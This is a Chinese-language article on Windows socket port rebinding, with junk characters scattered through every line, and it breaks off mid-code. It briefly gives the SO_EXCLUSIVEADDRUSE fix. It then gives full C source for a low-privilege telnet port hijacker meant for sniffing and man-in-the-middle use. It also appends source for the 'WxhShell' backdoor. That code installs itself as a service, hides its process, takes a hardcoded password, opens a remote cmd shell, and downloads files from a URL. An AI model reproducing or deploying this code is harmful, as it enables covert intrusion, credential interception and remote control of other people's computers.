在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bGc~Wr| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Z.92y emCM\|NQg& saddr.sin_family = AF_INET;
ek#O3Oz S H! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6Yx4lWBR? .Fdgb4>BXX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:2
*g~6 0q&<bV:D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F(tx)V
~T3 -r-k_6QP 这意味着什么?意味着可以进行如下的攻击:
^J$2?!~ W[Ls|<Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{phNds% qWQ/'M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0g+'/+Ho 4 j'A_'g'^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Y;?{| _lamn}(x0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/Mvf8v !\7!3$w'8, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|Y?HA& ;M)QwF1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
z6*X%6,8 N@t|7~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wK?vPS Tj:B!>> #include
R}O_[ #include
$<}$DH_Y #include
tfj:@Z5&$C #include
P-?0zF/T$ DWORD WINAPI ClientThread(LPVOID lpParam);
&J+CSv,39 int main()
wne,e's} {
LDPUD' WORD wVersionRequested;
Xu%'Z".>: DWORD ret;
Lm%:K]X WSADATA wsaData;
Tf'hc]`vS BOOL val;
G3Z)Z)N SOCKADDR_IN saddr;
%J+E/ SOCKADDR_IN scaddr;
be.*#[ int err;
P)P*Xqr#: SOCKET s;
s.$3j$vT 8 SOCKET sc;
<g$~1fa int caddsize;
U|jSa,} HANDLE mt;
4 o Fel.o DWORD tid;
h&KO<> wVersionRequested = MAKEWORD( 2, 2 );
j0oR)du err = WSAStartup( wVersionRequested, &wsaData );
_h{C_;a[_ if ( err != 0 ) {
sB7#
~pA printf("error!WSAStartup failed!\n");
Zy`m!]G]80 return -1;
h1de[q) }
16=sij%A saddr.sin_family = AF_INET;
MN\HDKN 4K\G16'$v //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8Vr%n2M o~`/_+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nLXlU*ES saddr.sin_port = htons(23);
\NPmym_6J if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`sn^ysp {
4h|c<-`>t printf("error!socket failed!\n");
pR=@S>!| return -1;
Z?h~{Mg }
R!}H;[c val = TRUE;
6^]+[q}3 //SO_REUSEADDR选项就是可以实现端口重绑定的
!|^|,"A) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b3=rG(0f {
8A##\j) printf("error!setsockopt failed!\n");
vS;RJg= return -1;
%)1y AdG
8 }
CsGx@\jN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v[1aWv: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!>FYK}c7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G<65H+)M\ >qnko9 V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wW>A_{Y {
d;boIP`M; ret=GetLastError();
s6 uG`F" printf("error!bind failed!\n");
ztcp/1jIvS return -1;
j eoz*Dz }
=$'6(aDH listen(s,2);
f6hnTbJ while(1)
h4fJvOk|! {
&."iFe caddsize = sizeof(scaddr);
-r`.#c4 //接受连接请求
u^^[Q2LDU} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5_GYrR2 if(sc!=INVALID_SOCKET)
M\uiq38 {
+%<(E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W+I!q:p4H if(mt==NULL)
/:m->
T {
em%4Ap printf("Thread Creat Failed!\n");
Ni9/}bb break;
n<LEler#M }
?WGA?J %2 }
%~4M+r6T CloseHandle(mt);
s}vAS~~2L3 }
j'Fpjt"&= closesocket(s);
<sb~ ^B WSACleanup();
}bb;~ return 0;
T<n }
Acez'@z DWORD WINAPI ClientThread(LPVOID lpParam)
<}C
oQz {
'$i:
2mn, SOCKET ss = (SOCKET)lpParam;
?1~` *LE SOCKET sc;
03$mYS_? unsigned char buf[4096];
R`NYEptJ SOCKADDR_IN saddr;
KLST\Ln: long num;
B6MB48#0gs DWORD val;
T6\[iJI| DWORD ret;
(nQ^ //如果是隐藏端口应用的话,可以在此处加一些判断
p$S*dr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
94'&b=5+ saddr.sin_family = AF_INET;
y6(Z`lx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
u|\1hLXX saddr.sin_port = htons(23);
3#LlDC_WC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%z=le7 {
/CrSu printf("error!socket failed!\n");
uy>q7C return -1;
5%Y3 Kwyy }
{&&z-^ val = 100;
?g_3 [Fk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
; 5*&xz {
7r6.n61F
ret = GetLastError();
j\eI0b @* return -1;
G<L;4nA) }
yuh * if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<$D`Z-6 {
=*oJEy" ret = GetLastError();
N=V==Dbu- return -1;
P\E<9*V }
]%;:7?5l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9)l$ aBa {
hZm"t/aKc printf("error!socket connect failed!\n");
tHU 2/V:R closesocket(sc);
U7?;UCmX closesocket(ss);
#]\Uk,mhZB return -1;
^
gdaa>L }
)*u8/U while(1)
tj' \tW+s' {
on4HKeO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
iDpSj!x/_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
mVj9 ,q0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
* `JYC num = recv(ss,buf,4096,0);
z0d.J1VW if(num>0)
/4y o` send(sc,buf,num,0);
sU=H&D99 else if(num==0)
D(~U6SR break;
D,k6$` num = recv(sc,buf,4096,0);
f[]dfLS"W if(num>0)
_qF+tm send(ss,buf,num,0);
C"y(5U)d else if(num==0)
dn&s* break;
{y)=eX9 }
CT&|QH{ closesocket(ss);
5tl< 3g` closesocket(sc);
` ./$&' return 0 ;
=7?4eYHC }
l5~os> d9k0F
OR1 ]a>n:p]e ==========================================================
1a/++4O.| YX!iL6?~ 下边附上一个代码,,WXhSHELL
N"Z{5A G?yLo 'Ulo ==========================================================
%U/(|wodd %[GsD9_- #include "stdafx.h"
,>:U2% 2_>N/Z4T #include <stdio.h>
W<'m:dq #include <string.h>
91/Q9xY #include <windows.h>
Q1Kfi8h}' #include <winsock2.h>
QL(n} {.% #include <winsvc.h>
r-,%2y? #include <urlmon.h>
<]ox;-56 ldf\;Qk #pragma comment (lib, "Ws2_32.lib")
[DuttFX^x #pragma comment (lib, "urlmon.lib")
:'Vf
g[Uq BT !^~S%w #define MAX_USER 100 // 最大客户端连接数
EAUEQk?9 #define BUF_SOCK 200 // sock buffer
YqscZ(L:y #define KEY_BUFF 255 // 输入 buffer
7P} W
* ?4YGT #define REBOOT 0 // 重启
a,,ex i #define SHUTDOWN 1 // 关机
H8=N@l IW5,7. #define DEF_PORT 5000 // 监听端口
{FI&^39
F$ cTifC1Pf #define REG_LEN 16 // 注册表键长度
"69s)~ #define SVC_LEN 80 // NT服务名长度
t5Sy V:fP KS+'|q<?w // 从dll定义API
Q3'llOx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!t"4!3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
w?L6!) oiz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
b1I]>\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
PrqlTT}Px (g]!J_Z" // wxhshell配置信息
8\^R~K`sY struct WSCFG {
soxc0OlN int ws_port; // 监听端口
gb1V~ char ws_passstr[REG_LEN]; // 口令
2Ah#<k-gC; int ws_autoins; // 安装标记, 1=yes 0=no
{p2!|A&a char ws_regname[REG_LEN]; // 注册表键名
9
ql~q char ws_svcname[REG_LEN]; // 服务名
RHW]Z
Pr< char ws_svcdisp[SVC_LEN]; // 服务显示名
AI2)g1m char ws_svcdesc[SVC_LEN]; // 服务描述信息
z^B,:5Tt char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q0sI(V# int ws_downexe; // 下载执行标记, 1=yes 0=no
)D
O?VRI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
iI T;K@& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
iT+8|Yia #\{l"- };
E_rI?t^ Fe*R // default Wxhshell configuration
=jN.1} struct WSCFG wscfg={DEF_PORT,
b=C*W,Q_# "xuhuanlingzhe",
As&Sq-NWf 1,
ZvM(Q=^ "Wxhshell",
<_L,t 1H{ "Wxhshell",
qz_7%c]K[ "WxhShell Service",
LBeF&sb6 "Wrsky Windows CmdShell Service",
6q\bB "Please Input Your Password: ",
Pm6pv;WK 1,
K-)]
1BG "
http://www.wrsky.com/wxhshell.exe",
(XTG8W sN "Wxhshell.exe"
;fTKfa };
HQdxL*N%^ FjHv // 消息定义模块
z_$% -6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y(ykng char *msg_ws_prompt="\n\r? for help\n\r#>";
3DX*gsx( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6yG^p]zZ char *msg_ws_ext="\n\rExit.";
g{)dP!} char *msg_ws_end="\n\rQuit.";
^LnTOdAE char *msg_ws_boot="\n\rReboot...";
5{WE~8$ char *msg_ws_poff="\n\rShutdown...";
UW={[h{.|@ char *msg_ws_down="\n\rSave to ";
@D[_}JE Y1\ }5k{> char *msg_ws_err="\n\rErr!";
`,(4]tlL char *msg_ws_ok="\n\rOK!";
:`#d:.@]o@ QO:!p5^: char ExeFile[MAX_PATH];
/{J4:N'B> int nUser = 0;
rBzuKQK}J HANDLE handles[MAX_USER];
rgQOj^xKv^ int OsIsNt;
,2oWWsC7 C3f' {} SERVICE_STATUS serviceStatus;
! I:%0D SERVICE_STATUS_HANDLE hServiceStatusHandle;
)AtD}HEv !?jrf ]
A@ // 函数声明
M]
%?>G int Install(void);
KK4`l}Fk:n int Uninstall(void);
O`kl\K*R7 int DownloadFile(char *sURL, SOCKET wsh);
O/(`S<iip int Boot(int flag);
}"H,h)T void HideProc(void);
R%WCH?B<} int GetOsVer(void);
yxQ1`'[CR int Wxhshell(SOCKET wsl);
net@j#}j- void TalkWithClient(void *cs);
&m7]v,& int CmdShell(SOCKET sock);
Xu'&ynID int StartFromService(void);
P`+{@@ int StartWxhshell(LPSTR lpCmdLine);
H2 {+) u~:y\/Y6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
05#1w#i VOID WINAPI NTServiceHandler( DWORD fdwControl );
Mj3A5;# h2A <" w // 数据结构和表定义
qA7>vi% SERVICE_TABLE_ENTRY DispatchTable[] =
k"%~"9 {
K7B/s9/xs {wscfg.ws_svcname, NTServiceMain},
|Zpfq63W {NULL, NULL}
,-LwtePJ0 };
+o{R _ M/'sl; // 自我安装
>>)b'c int Install(void)
O63<AY@ {
2wg5#i char svExeFile[MAX_PATH];
|A~jsz6pI HKEY key;
I_#kgp strcpy(svExeFile,ExeFile);
^/>(6>S^M
x+:UN'"r // 如果是win9x系统,修改注册表设为自启动
mDABH@R if(!OsIsNt) {
<al(7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=o(5_S.u; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9&2O9Nz6 RegCloseKey(key);
8^2oWC#U( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lv<*7BCp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0S_~ \t RegCloseKey(key);
dL 1tl return 0;
4[r0G+ }
uBKgcpvTs }
~H_/zK6e }
nNV'O(x} else {
=:Fc;n>c<K Fnv;^}\z // 如果是NT以上系统,安装为系统服务
}eU*(
}<^
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~
'cmSiz- if (schSCManager!=0)
xh,qNnGGi {
Lx1FpHo SC_HANDLE schService = CreateService
,kGc]{'W (
`2WFk8) F schSCManager,
)[6U^j4 wscfg.ws_svcname,
xC:L)7#aw wscfg.ws_svcdisp,
qJs<#MQ2 SERVICE_ALL_ACCESS,
L| +~"'l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
286;=rN]* SERVICE_AUTO_START,
L#?Ek- SERVICE_ERROR_NORMAL,
zkrM/ @p# svExeFile,
4r#= * NULL,
orpri O|qD NULL,
8 +/rlHp NULL,
[A~xy'T NULL,
L.2^`mZs NULL
ZohCP );
_ QI\ if (schService!=0)
z+wA
rPxc {
!u[9a;Sa# CloseServiceHandle(schService);
CS5?Ti6 CloseServiceHandle(schSCManager);
'RR~7h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(,Q7@s strcat(svExeFile,wscfg.ws_svcname);
;-lXU0}& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
z&)A,ryW0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
. B9iLI RegCloseKey(key);
LVfF[ return 0;
Oh`69
k }
%QGC8Tz }
m+R[#GE8# CloseServiceHandle(schSCManager);
Jy:Qlx` }
gQg"j) }
py!|\00} &MQmu,4 return 1;
X6X
$Pve }
)gIKH{JYL ^WgX Qtn // 自我卸载
Xm}/0g&7 int Uninstall(void)
$E~`\o%Ev {
_\G"9,)u' HKEY key;
7M!I8C0!aO HxV=F66"
if(!OsIsNt) {
I\{ 1u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y@vTaE^w3 RegDeleteValue(key,wscfg.ws_regname);
QzVnL U) RegCloseKey(key);
W=><)miQ@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@7]yl&LZ RegDeleteValue(key,wscfg.ws_regname);
oy=js - RegCloseKey(key);
1\~ "VF*{ return 0;
?
7n`A >T }
x b~yM%*c }
,t?B+$E }
|(E
FY\ else {
Xll}x+'uZK O)*+="Rg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
O!#g<`r{K if (schSCManager!=0)
uAJx.>$b {
6+|do+0Icg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ColV8oVnU if (schService!=0)
TH&U
j1 {
_Xc8Yg }` if(DeleteService(schService)!=0) {
+>{2*\cZ5} CloseServiceHandle(schService);
1>_8d"<Gd CloseServiceHandle(schSCManager);
2d #1=+V return 0;
KNvZm;Q6 }
gnOt+W8 CloseServiceHandle(schService);
y<|7z99L }
L^2%1GfE{ CloseServiceHandle(schSCManager);
i{NzV }
}<v@01 }
5y[Oj^ i Dp)FQ$ return 1;
D9=KXo^ }
JN-y)L/> H9`)BbR // 从指定url下载文件
%KlrSo int DownloadFile(char *sURL, SOCKET wsh)
x.!V^HQSN {
ZF9z~9 HRESULT hr;
2\MT;;ZTZ char seps[]= "/";
4K#>f4(U`g char *token;
xQ-<WF1i char *file;
B$fPgW- char myURL[MAX_PATH];
$aDVG}) char myFILE[MAX_PATH];
Q:G4Z9Kt (ylTp]~mR- strcpy(myURL,sURL);
{9&;Q|D z token=strtok(myURL,seps);
!Y0Vid while(token!=NULL)
DrUO- {
i(%W_d! file=token;
2^[`e g token=strtok(NULL,seps);
TOB-aAO }
I(L,8n5 J s@hLP` GetCurrentDirectory(MAX_PATH,myFILE);
\O3m9,a strcat(myFILE, "\\");
)Xz,j9GzJS strcat(myFILE, file);
rxvx send(wsh,myFILE,strlen(myFILE),0);
MDZ640-Y send(wsh,"...",3,0);
7hD>As7`/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_ @NL;w:! if(hr==S_OK)
kzQ+j8.,U return 0;
X;
\+<LE else
&ZlVWK~v return 1;
jUYWrYJ 45@ I *` }
SuJ aL-; u^+7hkk // 系统电源模块
VGy<")8D/ int Boot(int flag)
}_M~2L?i {
~ ?Qe?hB HANDLE hToken;
9iIhte. TOKEN_PRIVILEGES tkp;
Z*]9E^ 8yR.uMI$/ if(OsIsNt) {
<sGVR5NR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Db}j?ik/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;40/yl3r3[ tkp.PrivilegeCount = 1;
Fx_z 6a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
sk<3`x+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|PCm01NU! if(flag==REBOOT) {
)np:lL$$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
shy-Gu& return 0;
mA}TJz }
{yTGAf-DV else {
[[Ls_ZL!= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F3[T.sf return 0;
^+>laOzC`8 }
.GPT!lDc }
YNyk1cE else {
b5dD/-Vj if(flag==REBOOT) {
XSwl Tg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
g#pr yYz return 0;
FBe;1OU }
E!)xj.aS$ else {
T?CdZc. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~OYiq}g return 0;
x*\Y)9Vgy }
{=9,n\85# }
zOAd~E %8 B}Cb&2c return 1;
A7Cm5>Y_S }
kYP#SH/ CAig]=2' // win9x进程隐藏模块
:S{BbQ){] void HideProc(void)
\j}ZB<.> {
9rA0lqr]5 } ^~F| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7dTkp!'X- if ( hKernel != NULL )
aB2FC$z {
b4%??"&<Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!3c\NbU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1Z/(G1 FreeLibrary(hKernel);
a{'vN93 }
g]l''7G cN-?l7 return;
gS!:+G% }
>;aWz%- z3{G9Np // 获取操作系统版本
n:I,PS0H< int GetOsVer(void)
c)6m$5] {
Y!aSs3c OSVERSIONINFO winfo;
kUL'1!j7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
RtkEGxw*^ GetVersionEx(&winfo);
/Y:sLGQLD if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zJKv'>? return 1;
/Iu1L# else
P[G)sA_" return 0;
kf\PioD8 }
l?v86k b"<liGh"n- // 客户端句柄模块
#X+JHl int Wxhshell(SOCKET wsl)
T8?Ghbn {
0mYXv4
< SOCKET wsh;
^lnK$i struct sockaddr_in client;
sg^zH8,3 DWORD myID;
P8OaoPj M~Tuj1? while(nUser<MAX_USER)
f <Zxz9 {
PV.Xz0@R int nSize=sizeof(client);
H*?t^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
B{n,t}z if(wsh==INVALID_SOCKET) return 1;
D=A&+6B@- v ,i%Q$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nSDMOyj+ if(handles[nUser]==0)
p#ZCvPE;uH closesocket(wsh);
CCs%%U/= else
ch*8B(: nUser++;
(U DnsF }
p%up)]?0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Pa>AWOG' \i>?q return 0;
Fk&c=V;SU }
x /(^7#u, 2lZ
Q) // 关闭 socket
k&M;,e3v6 void CloseIt(SOCKET wsh)
`z}?"BW| {
JMCKcZ%N closesocket(wsh);
xWH.^o," nUser--;
j.[.1G*(" ExitThread(0);
&Q/ W~)~ }
F>Ah0U0
_O)>$.^6 // 客户端请求句柄
etQCzYIhn void TalkWithClient(void *cs)
udK%> {
w0 M>[ 4 1;bh^WMJ SOCKET wsh=(SOCKET)cs;
>%_ \;svZG char pwd[SVC_LEN];
pHGYQ;:L char cmd[KEY_BUFF];
C$=%!wf char chr[1];
~f2z]JLr: int i,j;
O0x,lq mX"oW_EK while (nUser < MAX_USER) {
4!{KWL`A RXMISt3+{y if(wscfg.ws_passstr) {
TIqtF&@o4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/$Ir5=B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I.(,hFx; //ZeroMemory(pwd,KEY_BUFF);
{S]}.7`l9( i=0;
olB.*#gA while(i<SVC_LEN) {
zEX L tO!umM // 设置超时
+yG~T fd_set FdRead;
tn\yI!a struct timeval TimeOut;
-vo})lO FD_ZERO(&FdRead);
PudS2k_Qv FD_SET(wsh,&FdRead);
fCd&D TimeOut.tv_sec=8;
@Rze|
T. TimeOut.tv_usec=0;
;J( 8
L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6xmZXpd! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3lL-)<0A( F} yW/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)bL'[h pwd
=chr[0]; 4&lv6`G `
if(chr[0]==0xd || chr[0]==0xa) { D(op)]8
pwd=0; C\3rJy(VJ
break; FW;?s+Uyx
} ]Jg&VXrH
i++; 4HXo >0
} FBX'.\@`
Wx%H%FeK
// 如果是非法用户,关闭 socket kOrZv,qFG[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _#E0g'3
} {GT*ZU*
lWk>z; d
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \##zR_%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B N5[,J
tyDU
@M
while(1) { h|9L5
RZ?jJm$
ZeroMemory(cmd,KEY_BUFF); nIf1sH>
8mrUotjS
// 自动支持客户端 telnet标准 CT<7mi!
j=0; 8}x:`vDK
while(j<KEY_BUFF) { tmYz R%i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y3Qsv
cmd[j]=chr[0]; ha<[bu e
if(chr[0]==0xa || chr[0]==0xd) { #pow ub
cmd[j]=0; e;q!6%
break; J7$5s
} ,5p(T_V/
j++; |Pax =oJ\M
} %)8}X>xq
./Zk`-OBT
// 下载文件 Lnl(2xD
if(strstr(cmd,"http://")) { KhR8 1\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @l5"nBs<_:
if(DownloadFile(cmd,wsh)) 8U"v6S~A%Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )T2Caqs2
else z6\UGSL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%9 |kU
} 9!\B6=r y4
else { DH!~ BB;
OX7M8cmc+
switch(cmd[0]) { Yx%Hs5}8
a$OE0zn`
// 帮助 X=&ET)8-Y
case '?': { [=q1T3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {*" |#6-
break; 1W
LXM^4
} !sP{gi#=
// 安装 wH&!W~M
case 'i': { f|c{5$N!
if(Install()) k@J&IJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 20 h, ^
else '3fu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s?}e^/"v
break; H[$"+&q
} ;7V%#-
// 卸载 L|7R9+ZG
case 'r': { ]y'>=a|T
if(Uninstall()) C`9+6T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@KEi%-^>
else #&aqKVY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3z?> j]
break; skViMo
} n5NsmVW \x
// 显示 wxhshell 所在路径 hd<c&7|G'
case 'p': { }@+0/W?\.
char svExeFile[MAX_PATH]; YnAm{YyI
strcpy(svExeFile,"\n\r"); 5coyr`7mP
strcat(svExeFile,ExeFile); $k%2J9O
send(wsh,svExeFile,strlen(svExeFile),0); 7(8;to6(
break; <{cQM$#
} \'D0'\:vz
// 重启 !CT5!5T
case 'b': { hx %v+/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rtl"Ub@HV
if(Boot(REBOOT)) =s2*H8]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); osAd1<EIC
else { f}f9@>.
closesocket(wsh); sIGMA$EK
ExitThread(0); S`0(*A[W*
} Jhhb7uU+
break; %T%sGDCV
} IfAZn_
// 关机 9}<ile7^
case 'd': { <0&*9ZeD
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Og7rl
if(Boot(SHUTDOWN)) 24*XL,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yujiqi]J;
else { IueFx u
closesocket(wsh); J @1!Oq>
ExitThread(0); )~JHgl
} }rw8PZ9
break; 7'V@+5
} u0c1:Uv#~e
// 获取shell _op}1
case 's': { 6iE<T&$3P
CmdShell(wsh); )yZ^[uJ}3C
closesocket(wsh); X *"i6*
ExitThread(0); z E9W8:7
break; &.Qrs:U
} 'XjZ_ng
// 退出 dOH&
case 'x': { |FZ/[9*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @9RM9zK.q
CloseIt(wsh); {qJ1ko)$
break; L+i=VGm0
} BG]#o|KW
// 离开 ?X<eV1a
case 'q': { Zt{[*~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); L48_96
closesocket(wsh); 1 bU,$4
WSACleanup(); e\zm7_+i{
exit(1); CXMLt
break; {Gk1vcq
} ZG8DIV\D7
} 7#Kn8s
} /{n-Y/jp
eJX9_6m-
// 提示信息 )g%d:xI
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `e&Suyf4B
} FGmb<z 2p
} <=/hil
L^?qOylu
return; +lcbi
} 4p;`C
-- 95Jz
// shell模块句柄 qt"m
int CmdShell(SOCKET sock) .|fHy
{ 16( QR-
STARTUPINFO si; AH7}/Rc
ZeroMemory(&si,sizeof(si)); 7.j?U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *P=VFP
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E4/Dr}4
PROCESS_INFORMATION ProcessInfo; 2eY_%Y0
char cmdline[]="cmd"; bwMm#f
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o|<!"AD7
return 0; 8wFJ4v3
} N5
6g+,w%)
Z=o2H Bm7
// 自身启动模式 3bH'H*2
int StartFromService(void) }9OC,Y8?D
{ N<VJ(20y
typedef struct y?? XIsF
{ x
g
DWORD ExitStatus; vXZOy%$o
DWORD PebBaseAddress; ndMA-`Ny,
